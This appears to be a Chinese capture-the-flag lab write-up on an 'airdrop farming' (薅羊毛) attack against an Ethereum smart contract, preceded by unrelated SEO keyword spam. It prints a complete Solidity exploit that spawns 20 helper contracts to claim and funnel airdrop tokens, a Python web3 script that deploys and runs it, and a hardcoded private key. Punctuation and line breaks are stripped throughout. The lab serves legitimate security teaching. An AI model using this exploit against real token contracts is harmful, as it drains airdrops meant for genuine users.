外贸网站建设费用,seo服务端渲染,网站支付链接怎么做的,建设工程教育网和环球网校哪个好区块链安全 文章目录 区块链安全薅羊毛攻击实战一实验目的实验环境实验工具实验原理实验内容薅羊毛攻击实战一 实验步骤EXP利用 薅羊毛攻击实战一
实验目的
学会使用python3的web3模块 学会分析以太坊智能合约薅羊毛攻击漏洞 找到合约漏洞进行分析并形成利用
实验环境
Ubun…区块链安全 文章目录 区块链安全薅羊毛攻击实战一实验目的实验环境实验工具实验原理实验内容薅羊毛攻击实战一 实验步骤EXP利用 薅羊毛攻击实战一
实验目的
学会使用python3的web3模块 学会分析以太坊智能合约薅羊毛攻击漏洞 找到合约漏洞进行分析并形成利用
实验环境
Ubuntu18.04操作机
实验工具
python3
实验原理
薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见只要是有空投函数的合约都能够进行薅羊毛。
实验内容
合约中内置了空投函数和潜在的薅羊毛攻击问题找到合约漏洞并形成利用把合约中的flag变量设置为true即可 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10009
薅羊毛攻击实战一 实验步骤
获取合约地址和合约源代码 nc ip 10009连接到题目输入1获取部署合约的game account及token
打开http://ip输入上述分配的game account点击Request获取eth ctrlshiftd 退出
nc ip 10009连接到题目输入2获取部署合约的地址及new token
nc ip 10009连接到题目输入4获取合约源代码或者在题目附件找到合约源代码
分析合约源代码漏洞 题目要求将合约中的flag变量设置为true
分析代码逻辑需要满足balanceOf[msg.sender] 2000才能设置flag为true 题目中有空投函数每次空投可以使 balance 增加 100并且也有转账函数可以将 balance 转给其他用户 那么我们可以使用薅羊毛的攻击方式创建 20 个临时合约来调用空投函数并转账给主合约来使得 balanceOf[msg.sender] 2000
EXP利用
编写攻击合约attack.sol将下述ETH9地址替换成自己题目合约的地址主要包括三个功能middle_attack合约用于申领空投并转账给主攻击合约attackattack合约通过new函数不断申请创建middle_attack合约直至满足balanceOf[attack] 2000当balanceOf[attack] 2000时调用attack合约的get_flag函数在get_flag函数中调用题目合约的payforflag函数将flag设置为true
pragma solidity ^0.4.23;contract attack{function attack_airdrop() public {for(uint i 0; i 20; i){new middle_attack(address(this));}}function get_flag() public {ETH9 target ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);target.payforflag();}
}contract middle_attack{constructor(address addr) public {ETH9 target ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);target.gift();target.transfer(addr,100);}
}
编写python3自动化脚本将上述攻击合约部署然后按照上述步骤分别执行即可
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0x05653f1dE1512EFC31eb6dd835947AF697fA7be0
private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb
public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.4.23)
with open(./attack.sol, r) as f:SRC_TEXT f.read()
compiled_sol compile_source(SRC_TEXT)
CONT_IF compiled_sol[stdin:attack]# deploy attack.sol
txn generate_tx(8888, , CONT_IF[bin], 0)
txn_receipt sign_and_send(txn)
hack_address txn_receipt[contractAddress]
print(hack_address ,hack_address)# call attack_airdrop() in attack.sol
data Web3.keccak(textattack_airdrop()).hex()[:10]
txn generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt sign_and_send(txn)
if(txn_receipt[status]1):print(call attack_airdrop() success)time.sleep(5)# call get_flag() in attack.sol
data Web3.keccak(textget_flag()).hex()[:10]
txn generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt sign_and_send(txn)
if(txn_receipt[status]1):print(call get_flag() success)执行exp
nc ip 10009连接到题目输入3输入之前的new token获取flag